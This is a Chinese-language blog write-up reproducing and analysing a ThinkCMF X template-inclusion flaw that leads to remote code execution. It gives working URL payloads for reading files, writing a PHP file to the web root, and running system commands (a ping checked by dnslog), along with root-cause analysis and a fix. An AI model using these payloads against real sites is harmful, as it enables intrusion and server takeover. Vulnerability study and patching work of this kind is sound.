Think CMF X任意內容包含漏洞分析復現
0x00 簡介
ThinkCMF是一款基於PHP+MYSQL開發的中文內容管理框架,底層採用ThinkPHP3.2.3構建。
ThinkCMF提出靈活的應用機制,框架自身提供基礎的管理功能,而開發者可以根據自身的需求以應用的形式進行擴展。
每個應用都能獨立的完成自己的任務,也可通過系統調用其他應用進行協同工作。在這種運行機制下,開發商場應用的用戶無需關心開發SNS應用時如何工作的,但他們之間又可通過系統本身進行協調,大大的降低了開發成本和溝通成本。
0x01漏洞概述
攻擊者可利用此漏洞構造惡意的url,向服務器寫入任意內容的文件,達到遠程代碼執行的目的。
0x02影響版本
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
0x03漏洞復現
下載了一套Thinkcmfx 2.2.3的源碼,漏洞環境搭建在了服務器,安裝過程就不寫了,安裝完成後這是默認首頁面板。
- 通過構造a參數的display方法,實現任意內容包含,讀取文件內容。
payload: /?a=display&templateFile=a.txt(讀取的文件)
爲了測試,首先我們在我們的網站根目錄創建一個a.txt。
然後利用我們的payload讀取一下,成功讀取到我們TXT裏面的文件內容。
- 通過構造a參數的fetch方法,可以不需要知道文件路徑就可以把php代碼寫入文件,直接getshell。
payload:?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘666.php’,’<?php phpinfo(); ?>’)
爲了方便測試,我們將php裏面的內容寫的是phpinfo,這裏也可以寫一句話。
執行完成後,顯示空白頁面,說明寫入成功,我們訪問一下666.php,訪問成功,顯示出了phpinfo的界面。
看一下我們的網站根目錄,確實寫入了666.php。
3)payload:?a=fetch&content=<?php system('ping xxxxxx');?>
這個其實也是通過構造a參數的fetch方法,直接執行系統命令。
我們ping一下dnslog來檢驗一下。
Dnslog這邊有顯示,說明命令執行成功。
0x04漏洞分析
簡單的分析一下源碼,對於審計入門級別的我最節省時間的方式就是跟着網上那些抄來抄去千篇一律的文章跟着走一遍
首先分析主頁代碼,發現看一下程序的項目路徑在application目錄下
進入application,找到IndexController.class.php(入口分組的控制器類)。
可以發現IndexController類中只有一個方法display方法,跟進父類HomebaseController文件。
從網上看了一些資料,發現這裏可以通過a參數直接調用PortalIndexController父類HomebaseController中的一些權限爲public的方法,display函數和fetch函數是權限都爲public,display函數的作用是加載模板和頁面輸出所對應的參數爲:templateFile模板文件地址,charset模板字符集contentType輸出類型content輸出內容。
當我們把a.txt傳入templateFile時,參數會經過parseTemplate函數處理,網上是說 parseTemplate函數會判斷模板是否存在,當模板不存在時會在當前目錄下開始查找,但是沒有很看懂parseTemplate,以後待研究。
fetch函數的作用是獲取頁面內容,調用內置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中當key和value可控時便可以形成模板注入。這裏fetch函數的三個參數分別對應模板文件,輸出內容,模板緩存前綴。利用時templateFile和prefix參數可以爲空,在content參數傳入待注入的php代碼,即可達到執行php代碼。
Thinkcmfx批量檢測工具:https://github.com/Azjj98/Azjj/tree/master/thinkcmfx
0x05漏洞修復
將AdminbaseController.class.php和HomebaseController.class.php類中display和fetch函數的修飾符改爲protected。
0x06總結
其實本身漏洞並不複雜,但是由於對一些php函數不是很瞭解,浪費了一些時間,我本身是想自己手動調試一遍,設置一些斷點跟着參數傳遞的方式一步一步看參數的處理過程,對於漏洞產生的原因會更具有直觀性。其實我感覺代碼審計還是自己手動調試才比較有意思,但是由於我的phpstrom沒配置好,就跟着網上一些人的思路走了。